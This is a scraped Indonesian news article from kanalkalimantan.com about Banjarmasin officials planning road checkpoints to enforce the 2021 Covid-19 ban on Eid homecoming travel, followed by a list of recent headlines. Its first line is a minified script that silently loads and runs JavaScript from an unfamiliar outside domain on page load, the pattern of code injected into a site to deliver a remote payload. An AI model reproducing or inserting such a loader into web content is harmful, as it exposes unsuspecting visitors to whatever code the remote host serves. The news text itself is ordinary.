(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mudik Dilarang, Dishub Banjarmasin Siapkan Penyekatan dan Pencegatan


KANALKALIMANTAN.COM, BANJARMASIN – Tradisi mudik saat lebaran kembali tak bisa dirasakan oleh masyarakat di tengah pandemi Covid-19. Sebagaimana arahan pemerintah pusat, Pemerintah Kota (Pemko) Banjarmasin bakal melakukan pembatasan arus mudik Hari Raya idul fitri 1442 Hijriah.

Pelaksana Tugas (Plt) Kepala Dinas Perhubungan Banjarmasin, Endri mengatakan, meski mudik lebaran tak setinggi di pulau Jawa, namun tujuan diberlakukannya kebijakan pelarangan mudik ini tetap sama. Yakni untuk menekan angka kasus penularan Covid-19 yang masih tinggi.

“Kita akan mulai lakukan pembatasan mulai 6 Mei hingga nanti selesai libur Idul Fitri. Untuk penerapannya bagaimana di lapangan masih kita koordinasikan dengan kepolisian,” ujar Endri.

Menurut Plt Kadishub Banjarmasin, ada dua kemungkinan yang bakal dilakukan di lapangan nantinya. Bisa itu berupa penutupan arus lalu lintas atau hanya berupa penyekatan di pintu-pintu masuk ke kota Banjarmasin.

Baca juga : Covid-19 Masih Tinggi, Sektor Pariwisata di Banjarmasin Masih Ditutup

“Seperti misalnya di kawasan A Yani Kilometer 6, jalan Trans Kalimantan kawasan Handil Bakti dan juga di jalan Lingkar Selatan,” ucapnya.

Diprediksi mudik di Kota Seribu Sungai tak setinggi di pulau Jawa, maka yang harus dilakukan penutupan arus. Sehingga kemungkinan besarnya hanya akan dilakukan penyekatan.

Selanjutnya, Endri juga menuntut kejelian petugas di lapangan nantinya. Karena tidak menutup kemungkinan masyarakat bisa saja mengelabui petugas dengan menggunakan kendaraan pribadi.

Kebijakan ini berlaku untuk warga yang ingin keluar kota, maupun warga luar daerah yang ingin masuk ke wilayah Banjarmasin.

Baca juga : Bagaimana Rombongan WN India Bisa Masuk Indonesia?

“Kalau angkutan penumpang sudah jelas dilarang. Jadi petugas harus jeli dengan kendaraan pribadi. Jika mencurigakan banyak barang bawaan maka langsung saja dicegat,” pungkasnya.
(kanalkalimantan.com/tius)

 

Reporter : Tius
Editor : Bie

 

 


Al Ghifari

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

10 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

10 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

11 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

11 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

11 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

15 jam ago

This website uses cookies.